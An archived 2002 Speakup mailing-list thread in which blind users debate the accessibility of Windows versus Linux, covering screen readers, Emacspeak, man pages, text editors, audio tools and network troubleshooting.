> variable within windows along with a random countdown timer......
> Regards,
> Cecil
> ----- Original Message -----
> From: "Octavian Rasnita" <orasnita@home.ro>
> To: <speakup@braille.uwo.ca>
> Sent: Saturday, May 18, 2002 8:45 PM
> Subject: Re: interesting experiment.
>
>
> > Do you mean that using Emacspeak is easier than using Windows?
> > Nice joke. Really.
> > And ... without a hardware sinthesizer, with that IBM Via Voice that
likes
> > to crash so often, or other software sinthesizers hard to understand,
...
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Ann Parsons" <akp@eznet.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Saturday, May 18, 2002 11:53 PM
> > Subject: Re: interesting experiment.
> >
> >
> > Hi all,
> >
> > Why don't you try Emacspeak and quit yawping!  There *is* a speech
> > output system that uses software speech.
> >
> > Ann P.
> >
> > --
> > Ann K. Parsons
> > email:  akp@eznet.net ICQ Number:  33006854
> > WEB SITE:  http://home.eznet.net/~akp
> > "All that is gold does not glitter.  Not all those who wander are lost."
> > JRRT
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


_______________________________________________
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Re: interesting experiment.

[Octavian Rasnita]

Please enlighten me.
I never used the Jaws cursor in the new HTML help  format under Windows.
Select an item in the tree view, press enter, then press F6 and it will
automaticly start reading that help item. It is a simple HTML file there,
and it works exactly as simple as Internet Explorer.
You don't need the Jaws cursor at all.

You needed the Jaws cursor only for some bad designed help files in the old
.hlp format.
Now in the new .chm format, you don't have any problems.

But this doesn't matter too much. Please tell me how to navigate the man
pages.
I type man mv, for example.
It starts to print all the help file, but maybe I want to move with a page
up then down, etc.

I know this is possible. Thanks.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 8:05 AM
Subject: Re: interesting experiment.


SNIP
> > You open a window, and it explains you what you should do there.
> > You have to press the space bar to check some checkboxes, to press some
> > buttons, etc, and if you don't know something, press shift+f10 (or the
right
> > mouse button and choose "what's this?" or press F1 to view the help file
> > wich is much much more easier to navigate than the man pages under
Linux.
SNIP

A fake.
man pages under GNU/Linux are a lot easier to navigate than windows help
pages.
you need to route the jaws cursor to the pc and then fart around trying to
find what you were looking for.
even with the new features in jfw I seriously doubt you could navigate a
help file easier than a man page..



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Re: interesting experiment.

[Octavian Rasnita]

Is it harder to remember a space bar than a command line with 20 characters?
Something's strange here.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 8:25 AM
Subject: Re: interesting experiment.


Spacebar? Shift F10? Man, how can you remember all that stuff?


On Sun, 19 May 2002, Shaun Oliver wrote:

> SNIP
> > > You open a window, and it explains you what you should do there.
> > > You have to press the space bar to check some checkboxes, to press
some
> > > buttons, etc, and if you don't know something, press shift+f10 (or the
right
> > > mouse button and choose "what's this?" or press F1 to view the help
file
> > > wich is much much more easier to navigate than the man pages under
Linux.
> SNIP
>
> A fake.
> man pages under GNU/Linux are a lot easier to navigate than windows help
> pages.
> you need to route the jaws cursor to the pc and then fart around trying to
> find what you were looking for.
> even with the new features in jfw I seriously doubt you could navigate a
> help file easier than a man page..
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


_______________________________________________
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Re: interesting experiment.

[Octavian Rasnita]

No, I was talking exactly about that thing.
I need to make CGI programs that are portable to more OS's. That's why I
need a good text editor.
I don't need a word processor, for formatting documents, printing, etc. I
need it only for a simple ascii text.
I've seen more messages telling that there are a lot of good text editors,
but I haven't seen any example.
So I am using pico now.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 8:32 AM
Subject: Re: interesting experiment.


Hey, Toby:

Yeah, I understand about the line termination differences among
the various OS's. But, do you really think he was talking about
ASCII files having different end of line designators? Somehow I
doubt it.


On Sun, 19 May 2002, Toby Fisher wrote:

> On Sat, 18 May 2002, Janina Sajka wrote:
>
> >
> > > Is there a text editor, that has macro features, Regular expressions,
the
> > > ability to save in Windows/Mac/Unix format, etc?
> >
> > What is Mac format? I've never heard of that. And what is Windows
> > format?
>
> Just taking a guess here.
>
> As you probably know, DOS/Windows uses a cr lf combination for a newline
> character.  Ok now bare with me on the next bit cos I always get confused
> here.  Linux/unix ohnly uses an lf character.  Well, the Mac uses a cr
> character.  Macs have a hard enough time dealing with cr lf combinations,
> I know, I know, that's cos they're broken, but there it is.   Also, the
> hfs file syst em is kind of weird, that's why access to it is still marked
> as experimental in the Linux kernel, though it's been around since I think
> 2.2 or even late 2.0 days.
>
> Then again, he could just be talking about MS Office/Claris Works.
>
>  > > Is there powerful text editing, formatting,
> scripting?
> Of course > there is. Far more powerful than in Windows or Mac. There are
> > probably too many to mention, actually. Linux/Unix has the
> > proprietary world beat hands down on this one.
>
> Oooo yeh, I mean, my Slackware distriburtion comes with at least 4 for the
> console, and I think there are some more optional ones as well.
>
> > You certainly don't need them to communicate with anyone, or to
> > print out lovely reports, or design lovely e-content for on line
> > publishing, etc.
>
> As a matter of interest, where would you recommend as a good place to
> start my education into latex?  I mean, which part of the docs? *smile*
>
>
> <snip>
>
> Cheers.
>
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


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Re: interesting experiment.

[Octavian Rasnita]

Yes, Symantec  has a tool in Norton utilities for that thing.
I've tried a few years ago and I've chosen a full report.
It gave me a text file that printed on paper had  a few tens of pages.

In fact, I think there are more free programs for this thing, but as an
information, you don't need that, because you need it only if you have
problems with a device or something, and in this case, you need to go to the
device manager where you can configure the settings for all devices, view
all errors, etc.

But you won't see many errors there.
For example, you can remove the drivers for your video card, but after you
will restart your computer, it will reinstall it back, so you will have the
good drivers back...
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 8:36 AM
Subject: Re: interesting experiment.


Here's another one.

Can one yet get a readable report on installed hardware under
Windows?

As I recall, there's such a thing, but it writes a graphical
file. Not at all as friendly as dmesg.

On Sun, 19 May 2002, Cecil H. Whitley wrote:

> Hi,
> even more usefull....
> You've got your network settings set to "obtain an ip address
> automatically"..... How do you find your current ip address?  Under 9x?
> Under NT?  Under 2k/xp?
> You have to remember which operating system and which command to use
because
> it's not the same in all cases.
>
> Admittedly the learning curve is less steep, but the os itself is less
> powerfull as well.  Fewer features directly relate to easier to learn.
Less
> capability also directly equates to less learning needed.  GUI's have some
> benefits, almost any 1d10t can erase/format his/her hard drive in less
time.
> It's amazing how fast sighted people can trash a windows system.  Keeps me
> employed anyway.
> Cecil
>
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 12:49 AM
> Subject: Re: interesting experiment.
>
>
> > On Sun, 19 May 2002, Octavian Rasnita wrote:
> >
> > > If you know a good text editor under Linux please tell me.
> >
> > emacs and/or vim. You'll never need anything else. So, learn them
> > or go back toWindows.
> >
> > > Well, under Windows, you don't need to remember anything at all.
> >
> > That's not true. What is your card's mac address? Go ahead. Find
> > it.
> > Then tell us you don't need to remember anything.
> >
> > > You open a window, and it explains you what you should do there.
> > > You have to press the space bar to check some checkboxes, to press
some
> > > buttons, etc, and if you don't know something, press shift+f10 (or the
> right
> > > mouse button and choose "what's this?" or press F1 to view the help
file
> > > wich is much much more easier to navigate than the man pages under
> Linux.
> > >
> > > Thanks.
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Janina Sajka" <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Sunday, May 19, 2002 6:14 AM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > OK, let's take this one question at a time ...
> > >
> > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > >
> > > > Are there any games accessible for the blind under Linux, like under
> > > > Windows?
> > > > Please tell me some web addresses.
> > >
> > > I was with you until you said "like Windows." I have no idea
> > > about Windows. I know nothing about it.
> > >
> > > But, if you want games, you can find them. Maybe they're better,
> > > maybe not. But they're out there. Emacs comes with games, and
> > > some are speech enabled by emacspeak. The only game I really know
> > > much about is gnu chess which can be obtained from
> > > http://www.gnu.org.
> > >
> > > I'm generally too interested in things to play games on my
> > > computer. Last thing I'm likely to do, so I'm out of knowledge
> > > here.
> > >
> > > > Are there any good sound editing programs for Linux, like Sound
Forge,
> > > Cool
> > > > Edit, Gold Wave, etc, and programs for creating MIDI music, like
Cake
> > > Walk?
> > >
> > >
> > > There's ecasound and sox. Very accessible. And there's
> > > gramophone. I recently came across a java midi patch editor, but
> > > I haven't had the time to get it working yet to find out about
> > > its accessibility. Admitedly, these are less functional than the
> > > Windows apps you mention for many tasks. Is this what you do? Or
> > > are these academic questions?
> > >
> > > > Is there a text editor, that has macro features, Regular
expressions,
> the
> > > > ability to save in Windows/Mac/Unix format, etc?
> > >
> > > What is Mac format? I've never heard of that. And what is Windows
> > > format?
> > > And, why would you care?
> > >
> > > Is there powerful text editing, formatting, scripting? Of course
> > > there is. Far more powerful than in Windows or Mac. There are
> > > probably too many to mention, actually. Linux/Unix has the
> > > proprietary world beat hands down on this one.
> > >
> > > Those format questions are themselves silly. You don't need them.
> > > You certainly don't need them to communicate with anyone, or to
> > > print out lovely reports, or design lovely e-content for on line
> > > publishing, etc.
> > >
> > > In fact, you do better to forget them and use the superior tools
> > > available on Linux.
> > >
> > > >
> > > > ... Just a few things that camed to mind.
> > > >
> > > > A lot of things are accessible, but ... harder to learn, harder to
> > > configure
> > > > and harder to use, if I am not so bright to remember 1000 command
line
> > > > parameters.
> > >
> > > Give me a break. Grow up. How do you remember 1,000 dialog boxes.
> > > How do you remember where to tell windows to show extensions to
> > > files, for example. Or how about finding your ethernet card's mac
> > > address. Do you remember that? I could go on. This is another
> > > bogus argument.
> > >
> > > But, if you think the gui is actually superior, you're going to
> > > lose this excuse soon enough. GNOME is coming. What sad song are
> > > you going to sing then?
> > >
> > > >
> > > > Thank you for the links.
> > > > Teddy,
> > > > orasnita@home.ro
> > > >
> > > > ----- Original Message -----
> > > > From: "Janina Sajka" <janina@afb.net>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Saturday, May 18, 2002 9:59 PM
> > > > Subject: Re: interesting experiment.
> > > >
> > > >
> > > > On Sat, 18 May 2002, Darrell Shandrow wrote:
> > > > > I just wish Linux were
> > > > > a more viable general purpose workstation; I use Windows for that
> > > purpose.
> > > > >
> > > > Hi, Darrell:
> > > >
> > > > Just wondering what you think is missing from Linux' desktop
> > > > applications.
> > > >
> > > > In case this sounds loaded, it might be. The underlying question
> > > > might be: Is it your knowledge deficit, or is it Linux itself?
> > > > For my own experience in this matter, I've found it's my
> > > > knowledge deficit almost without exception.
> > > >
> > > >
> > > >
> > > >
> > >
>
> --------------------------------------------------------------------------
> > > --
> > > > ----
> > > >
> > > >
> > > >
> > > > ---
> > > > Outgoing mail is certified Virus Free.
> > > > Checked by AVG anti-virus system (http://www.grisoft.com).
> > > > Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > > --
> > >
> > > Janina Sajka, Director
> > > Technology Research and Development
> > > Governmental Relations Group
> > > American Foundation for the Blind (AFB)
> > >
> > > Email: janina@afb.net Phone: (202) 408-8175
> > >
> > > Chair, Accessibility SIG
> > > Open Electronic Book Forum (OEBF)
> > > http://www.openebook.org
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

Yes, and how I said, Windows is not better, but is absolutely necessary for
some tasks.
I don't think it is a great problem to write a good (or even better and
accessible) program like Cake Walk for Linux, but this would take a lot of
effort, people and money, and the results ... The Linux people like the
command line not the GUI.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Rich Caloggero" <rjc@MIT.EDU>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 10:08 AM
Subject: Re: interesting experiment.


Yes, I must second on the music stuff. The only reason I use windows and
Jaws is that it gives me access to cakeWalk, a very powerful (and mostly
accessible) music sequencing and audio editing environment. Writing such a
beast is very difficult, nontrivial, very f*cking hard, and takes many human
years to accomplish.
To be fair, some of this difficulty may have to do with its reliance on
Windows and its very ugly GUI programming (yes, its as ugly to develope
under as it is to use), and some of the complexity may have to do with its
ability to deal with music notation, but its still a nontrivial task to
write such a beast. My feeling is that a console based sequencing and audio
package like cakeWalk won't ever be created, because sighted people want to
use a GUI. When gnome comes on-line for us, we may have more options in this
regard. I've heard of mixers and effects processors which are x-windows
based, but I'm not sure how well they work. I think there is a sequencer or
two as well for the X environment. The question is, are any of these as good
as cakeWalk? CakeWalk is a professional quality product in every way. The
only thing nonprofessional about it is Windows!

There is someone (Frank Carmichael, I believe) who has been working on the
audio piece of this, so maybe he can chime in on this and tell me how *wrong
I am*! <smile>

There is no way to create music the way I do without this program! It sux,
but its unfortunately the case.

                    Rich

----- Original Message -----
From: "Octavian Rasnita" <orasnita@home.ro>
To: <speakup@braille.uwo.ca>
Sent: 18 May, 2002 8:37 PM
Subject: Re: interesting experiment.


Are there any games accessible for the blind under Linux, like under
Windows?
Please tell me some web addresses.
Are there any good sound editing programs for Linux, like Sound Forge, Cool
Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake Walk?

Is there a text editor, that has macro features, Regular expressions, the
ability to save in Windows/Mac/Unix format, etc?

... Just a few things that camed to mind.

A lot of things are accessible, but ... harder to learn, harder to configure
and harder to use, if I am not so bright to remember 1000 command line
parameters.

Thank you for the links.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Saturday, May 18, 2002 9:59 PM
Subject: Re: interesting experiment.


On Sat, 18 May 2002, Darrell Shandrow wrote:
> I just wish Linux were
> a more viable general purpose workstation; I use Windows for that purpose.
>
Hi, Darrell:

Just wondering what you think is missing from Linux' desktop
applications.

In case this sounds loaded, it might be. The underlying question
might be: Is it your knowledge deficit, or is it Linux itself?
For my own experience in this matter, I've found it's my
knowledge deficit almost without exception.




----------------------------------------------------------------------------
----



---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002






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Re: interesting experiment.

[Octavian Rasnita]

Ha ha, thank you!
Google? Does it work offline?

Cheers.
Teddy,
orasnita@home.ro

----- Original Message ----- 
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 8:37 PM
Subject: Re: interesting experiment.


All right, Newbies, Listen Up!

There's something called Google. It's your friend. You use it
with your favorite web browser. It's real easy and it's lynx
friendly. And, it finds the answers to almost all of the "where
do I find" questions I've seen on this list in the last 6 months,
and puts them on the first screen of results.

Learn to use Google. Keep it open in a second console.

The field where you type in your search string is the fourth
field on the main Google screen. The submit button is the next
field.

This is not rocket science. It isn't even hard.


_______________________________________________
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Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

Are these programs free? Do you have a web site address  where I can
download them?

Thanks.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 8:43 PM
Subject: Re: interesting experiment.


Alex:

There's both ecasound and sox, and they're both very powerful.
But, they work very differetnly from Sound Forge and Cool Edit.
Also, their documentation is not professionally written, even
though it is professional quality software.

In the realm of sound creation, there's the very classic Csound
available for linux. This is the grand old synthesis ware that
has been the bread and butter of major electronic music research
facilities like carma at Stanford and Earcom in Paris.

On Sun, 19 May 2002, Alex Snow wrote:

> Is there any console based audio editors that work under linux? I've seen
> one listed on the speakup projects page, but it said that it was on hold
> because there were alternate solutions out there.  What are those
alternate
> solutions?
> ----- Original Message -----
> From: "Rich Caloggero" <rjc@MIT.EDU>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 3:08 AM
> Subject: Re: interesting experiment.
>
>
> > Yes, I must second on the music stuff. The only reason I use windows and
> > Jaws is that it gives me access to cakeWalk, a very powerful (and mostly
> > accessible) music sequencing and audio editing environment. Writing such
a
> > beast is very difficult, nontrivial, very f*cking hard, and takes many
> human
> > years to accomplish.
> > To be fair, some of this difficulty may have to do with its reliance on
> > Windows and its very ugly GUI programming (yes, its as ugly to develope
> > under as it is to use), and some of the complexity may have to do with
its
> > ability to deal with music notation, but its still a nontrivial task to
> > write such a beast. My feeling is that a console based sequencing and
> audio
> > package like cakeWalk won't ever be created, because sighted people want
> to
> > use a GUI. When gnome comes on-line for us, we may have more options in
> this
> > regard. I've heard of mixers and effects processors which are x-windows
> > based, but I'm not sure how well they work. I think there is a sequencer
> or
> > two as well for the X environment. The question is, are any of these as
> good
> > as cakeWalk? CakeWalk is a professional quality product in every way.
The
> > only thing nonprofessional about it is Windows!
> >
> > There is someone (Frank Carmichael, I believe) who has been working on
the
> > audio piece of this, so maybe he can chime in on this and tell me how
> *wrong
> > I am*! <smile>
> >
> > There is no way to create music the way I do without this program! It
sux,
> > but its unfortunately the case.
> >
> >                     Rich
> >
> > ----- Original Message -----
> > From: "Octavian Rasnita" <orasnita@home.ro>
> > To: <speakup@braille.uwo.ca>
> > Sent: 18 May, 2002 8:37 PM
> > Subject: Re: interesting experiment.
> >
> >
> > Are there any games accessible for the blind under Linux, like under
> > Windows?
> > Please tell me some web addresses.
> > Are there any good sound editing programs for Linux, like Sound Forge,
> Cool
> > Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
> Walk?
> >
> > Is there a text editor, that has macro features, Regular expressions,
the
> > ability to save in Windows/Mac/Unix format, etc?
> >
> > ... Just a few things that camed to mind.
> >
> > A lot of things are accessible, but ... harder to learn, harder to
> configure
> > and harder to use, if I am not so bright to remember 1000 command line
> > parameters.
> >
> > Thank you for the links.
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Saturday, May 18, 2002 9:59 PM
> > Subject: Re: interesting experiment.
> >
> >
> > On Sat, 18 May 2002, Darrell Shandrow wrote:
> > > I just wish Linux were
> > > a more viable general purpose workstation; I use Windows for that
> purpose.
> > >
> > Hi, Darrell:
> >
> > Just wondering what you think is missing from Linux' desktop
> > applications.
> >
> > In case this sounds loaded, it might be. The underlying question
> > might be: Is it your knowledge deficit, or is it Linux itself?
> > For my own experience in this matter, I've found it's my
> > knowledge deficit almost without exception.
> >
> >
> >
> >
>
> --------------------------------------------------------------------------
> --
> > ----
> >
> >
> >
> > ---
> > Outgoing mail is certified Virus Free.
> > Checked by AVG anti-virus system (http://www.grisoft.com).
> > Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
> >
> >
> >
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

Is it the time to start giving?
I wish it was that time.
I know how to use some basic command lines like ls, chmod, cd, mv, cp, and a
few others.

I could write a very easy to understand manual for the beginners with all
what I know, but I don't think this will help very much.

I think I need to take some knowledge first, and after that start giving.
But please notice that not all the people learn from a manual. I haven't
read any manual for Windows, for example.


Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 7:46 AM
Subject: Re: interesting experiment.


Octavian:

As you well noted in your last post:

rtfm

I gave you the address twice. Now, rtfm

If you don't like this answer, then rtfm and write a better fm
yourself. That can be your contribution.

It's time to start giving, buddy, instead of just taking.

On Sun, 19 May 2002, Octavian Rasnita wrote:

> Does it need some special drivers? Or how to install it?
> Thanks.
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Ann Parsons" <akp@eznet.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 5:57 AM
> Subject: Re: interesting experiment.
>
>
> Hi all,
>
> DecTalk internal is supported by Emacspeak.
>
> Ann P.
>
> --
> Ann K. Parsons
> email:  akp@eznet.net ICQ Number:  33006854
> WEB SITE:  http://home.eznet.net/~akp
> "All that is gold does not glitter.  Not all those who wander are lost."
> JRRT
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

Most of Windows users don't have a network but only a single computer, or at
most 2.
If there is a network, there is a system administrator.
I am not a software engineer. I am licenced in Management, and I've worked
only in Sales and marketing.
But I want to be able to use an operating system that a lot of people say
that is the best.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Kerry Hoath" <kerry@gotss.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 12:59 PM
Subject: Re: interesting experiment.


The MAC address is required to diagnose certain network related problems
such as bad switches, faulty dhcp implementations from certain vendors,
network jabbers, broadcast storms, packet tracing and a host
of other uses.
Watching your network for arp trafic with tcpdump can tell you if your
windows box has come up onto the network and if the NIC is working.
Knowing which machine you are looking for on a multi-pc network means
knowing the mac address
especially if there is an ip address conflict.
Compound your problems by having a corrupted dhcp lease database under NT or
2 machines
set to the same ip 1 dhcp 1 not, and you'd like to know which
machine is where.
MAC addresses are unique, and many organizations use the MAC address to
track where
their computers (or the network cards in said computers) are.
Tracking a MAC address can tell you which segment on a switch a machine is
on, and
on complicated setups you can dump the MAC table to debug 802.1
bridging problems.
It is conceivable that on your home network you have personally
never neded to know the MAC address of your windows box,
and that is fare enough.
I have debugged network problems in seconds with knowledge, a few MAC
addresses
and a packet sniffer that have baffled others for weeks.
Maybe I am becoming disalusioned, but it seems so many people these days
have
no desire to know how things work, I mean really work.
If you understand how things work,
it is far easier to fix problems.
My underlying knowledge of ethernet makes solving most networking problems a
snap.

Regards, Kerry.
On Sun, May 19, 2002 at 12:12:20AM -0500, Gregory Nowak wrote:
> Ok, why would one need to know their nic's mac address under windows 9x?
> I've never had to, and I used windblows extensively for a good while.
> Greg
>
>
> On Sun, May 19, 2002 at 12:49:52AM -0400, Janina Sajka wrote:
> > On Sun, 19 May 2002, Octavian Rasnita wrote:
> >

--
Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or
kerry@gotss.spice.net.au
ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au

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Re: Why Windows?

[Octavian Rasnita]

Yes you're right.
I have an HTML page and if you open it from a web site in Internet explorer,
it opens you the Notepad.
Internet Explorer, is not very secure, of course.

But I think there are problems with Unix also.
Go to www.astalavista.com and you will find some tutorials about how to
crack Unix, etc.
I don't know if they work because I haven't tried it, but ...

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Rich Caloggero" <rjc@MIT.EDU>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 11:05 AM
Subject: Why Windows?


OK, I think windows exists for sighted people. I think that blind people
need to use windows if they are doing sys-admin or other tasks which require
them to interact with windows, or dare I say, help a sighted person use
their friendly little crash-prone boxes! <smile> I often think that the
reason windows is so unstable is to keep us sys-admins employed!
Hehehehehahahahe!

Actually, I heard an interesting windblows tidbit the other day. In windows
3.1, there was a concept called Object Linking and Embeding (OLE). It allows
one to put, say, a sound file within a spreadsheet, and embed all that
within something else. In fact, this is what XML does for you, but those
were the days long before XML. Anyhow, they were also the days before the
internet became widely popular. The problem was that OLE was not at all
secure. When the internet became more widely used, and malware began to
spread, people realized that this stuff was very insecure. So Microsoft
began building layer on top of layer to try and address these issues. By the
time the security problems were becomign more widely exployted, Microsoft
had traveled too far down the OLE path, and could not give it up. I forget
what all the crap on top of OLE was called, but the dot net stuff is merely
another layer on top of the broken OLE, so Microsoft security issues will
forever be rearing their ugly heads, and Microslop will have to patch every
single one of them!! Hahahahehehehehehaha!

                    Rich

----- Original Message -----
From: "Deedra Waters" <curi0315@tampabay.rr.com>
To: <speakup@braille.uwo.ca>
Sent: 19 May, 2002 1:24 AM
Subject: Re: interesting experiment.


I think honestly that if beginners have an easy start it may help some in
the long run. I honestly think that there are some people who want to
learn but are having a hard time in which case, helping them can be
useful.

I'm bad at sitting and reading manpage after manpage trying to find
things, and I was even worse at the beginning. I had a great deal of help
in the beginning, and there was a lot I  didn't understand.

I'm not really sure where I'm going with this accept to say that there are
people who have a real hard time by just reading, and helping them, or
trying to walk them threw some things  doesn't always mean that they need
to be spoonfead


On Sun, 19 May 2002, Toby Fisher wrote:

> On Sun, 19 May 2002, Octavian Rasnita wrote:
>
> > Hi, thank you.
> > No, I don't like Windows. I don't use to play games because I don't have
the
> > time.
>
> Oh now you don't know what you're missing, I can recommend GMA Games for
> one, for a bit of light relief.
>
> <snip>
>
> > But I also don't like to see a lot of people from this list, nor
> from any
> > list, thinking that Linux is better than Windows.
>
> Actually, if you look carefully at most of what you view to be
> anti-Windows comments, they are, in the main, aimed at the company that
> spawned it.
>
> > Windows is better than Linux for multimedia development but Macintosh is
> > even better than Windows  for this thing.
> >
> > Some Unix graphic stations are better probably than Macintosh for their
> > purpose.
>
> Yes, but until very recently Macintosh had a problem with expensive
> hardware, for example, on some power macs there was only 1 make of modem
> you could use because of the connection it required; guess what, they're
> not made any more so my friend is going to have to buy a new computer,
> this is, imho, a potential problem which can arise when hardware and
> software are made by the same company, as used to happen back in the big
> mainframe days.
>
> <snip>
>
> > I like the Linux users to be a kind of helpful community, because
> they are
> > not very many, especially blind, but all the experimented people in
linux
> > give the beginners criptical commands without explaining too much, RTFM,
> > etc.
>
> I believe that there are reasons for this.
>
> First, what that person may want is a means to get up and running as
> hasle-free as possible.  Second, explanation of the command may, and note
> I use the word may, cause confusion, until the person has read some docs,
> which they may be unable to do due to whatever problem it is that has
> caused them to write to the list.
>
> Third, it does not help anyone, least of all the beginner, if they are
> spoon-fed, as they may then be unable to help themselves if they are ever
> stuck without an internet connection, or otherwise unable to call on
> required assistance.
>
> Cheers.
>
> --
> Toby Fisher Email: toby@g0ucu.freeserve.co.uk
> Tel.: +44(0)1480 417272 Mobile: +44(0)7974 363239
> ICQ: #61744808
>    Please avoid sending me Word or PowerPoint attachments.
